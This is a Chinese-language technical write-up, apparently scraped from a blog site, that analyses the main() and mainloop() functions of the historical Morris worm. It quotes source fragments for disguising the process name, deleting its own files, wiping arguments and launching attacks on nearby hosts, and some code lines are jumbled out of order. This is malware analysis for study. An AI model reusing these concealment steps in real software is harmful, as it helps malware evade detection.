admin 管理员组

文章数量: 1086019


2024年4月30日发(作者:tcpip四层网络模型)

Morris蠕虫总结

1. 概览

从整体上来看,morris蠕虫是C/S架构的,它的主要行为可以分为攻击、隐藏和保护三

个部分。攻击部分是蠕虫最主要的部分,其大致由定位目标主机、利用系统漏洞、感染(攻

击)目标主机几个步骤组成;而其中的感染(攻击)环节中利用的方法主要有三种:finger、

sendmail、破解密码。而且,Morris蠕虫为了隐藏自己,使自己不易被发现和被分析,其主

要运用了三种自我防卫技巧:换名、异或加密(对文件)、核心代码转储(将文件全部加密并

存贮在内存中)。下面对morris蠕虫各主要行为的实现进行详细的分析。

2. Morris的main函数以及mainloop函数

2.1 main()函数

main函数是蠕虫程序的开始,它的运行标志着一只新蠕虫的诞生,标志着运行这只蠕虫

的主机将开始对外进行攻击。main函数是由引导程序(bootstrap)引导运行的,它运行在已

被蠕虫攻破(将要对其他机器进行攻击)的主机上。main函数的主要作用是进行系统设置,

以便蠕虫从本机开始下一阶段的攻击。在main函数中主要是进行了一些相关的设置和初始

化工作,而具体的其他功能并没有在其中实现,下面是对main函数的一些分析和理解。

进入main函数,morris做的第一件事就是换名。这样使得它看起来会和正常的程序一样,

不容易被发现。执行换名的代码如下:

strcpy(argv[0], XS("sh"));

然后它用time函数初始化随机数,并设置资源限制。这部分代码以及注释如下:

time(&key);

srandom(key); //key是随机数种子,但是好像在main函数中没有用到

_cur = 0;

_max = 0;

if (setrlimit(RLIMIT_CORE, &rl)) ?; /*RLIMIT_CORE:设定最大的core文件,设置资源限制,

在这里if后面没有语句,作者是何用意尚不明确*/

signal(SIGPIPE, SIG_IGN);

pid_arg = 0;

cur_arg = 1;

if (argc > 2 && strcmp(argv[cur_arg], XS("-p")) == 0) //"-p"是代表父进程ID

{

}

//如果main函数的参数多于2个,而且第二个字符串是父进程的ID

pid_arg = atoi(argv[2]); //把字符串转换成长整型数

cur_arg += 2; //cur_arg值为3,从第3个文件开始读入内存

/*第一个参数代表信号,第二个参数是接收到后的操

作SIG_IGN 忽略参数signum指定的信号。*/

//父进程的ID

//作用不明,大致应该是表示当前主函数参数指针

然后它开始加载文件到内存当中,并做一些中初始化工作,在设置完成后,函数删除磁

盘上的文件,以不留下痕迹。具体代码以及注释如下:

for(i = cur_arg; i < argc; i++) //在成功读入一个文件后,将其从磁盘删除

{

if (loadobject(argv[i]) == 0) //将文件从磁盘读入内存

}

exit(1);

if (pid_arg)

unlink(argv[i]); //删除磁盘上文件

if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))

/*对object数据结构进行检查*/

exit(1); /*如果引导文件"l1.c"没有读入内存或者没有文件读入,退出程序。引导程序是

下次攻击是必不可少的文件*/

最后main函数进行一些收尾工作,将删除磁盘上剩余的蠕虫文件的拷贝(由引导程序

传送来),以及更改进程号(隐藏自己):

if (pid_arg)

{

}

for (i = 1; i < argc; i++)

{

}

for (j = 0; argv[i][j]; j++)

argv[i][j] = '0'; //将参数列表清0,隐藏函数初始化的信息

exit(1);

//更改进程号,以便隐蔽的进行进一步工作

//删除磁盘文件

for(i = 0; i < 32; i++)

close(i); //关闭在加载文件时打开的文件

unlink(argv[0]); //删除此文件

unlink(XS("sh")); //删除sh文件

unlink(XS("/tmp/.dumb")); //删除/tmp/.dumb文件

if (if_init() == 0) //初始化网卡接口,如果失败,程序退出

if (pid_arg)

if (pid_arg == getpgrp(getpid()))

setpgrp(getpid(), getpid());

kill(pid_arg, 9);

2.2 mainloop()函数

以上是对main函数的一些分析,其中有一些设置将在其他函数中用到。在main函数的

最后,它调用了mainloop()函数,mainloop()函数体现了蠕虫的主要功能框架,是蠕虫的主

要功能实现部分。其主要代码以及注释如下:

time(&key);

srandom(key);

time0 = key;//用time函数产生一个随机数,下面还用此来记录本程序已经运行的时间

if (hg() == 0 && hl() == 0) /*开始第一次攻击,其中hg()是对网关进行攻击,hl()是

对主机所在网络进行攻击,如果攻击都没有成功,则用ha()对远程网络主机进行攻击*/

ha();

checkother(); //检查一下是否有其他蠕虫已经在本主机上了,如果存在则其中一方退出

/*在此蠕虫还有一个作用不明的函数(在此没有列出),发送一些数据包到Berkeley主站的


本文标签: 文件 函数 蠕虫 攻击 进行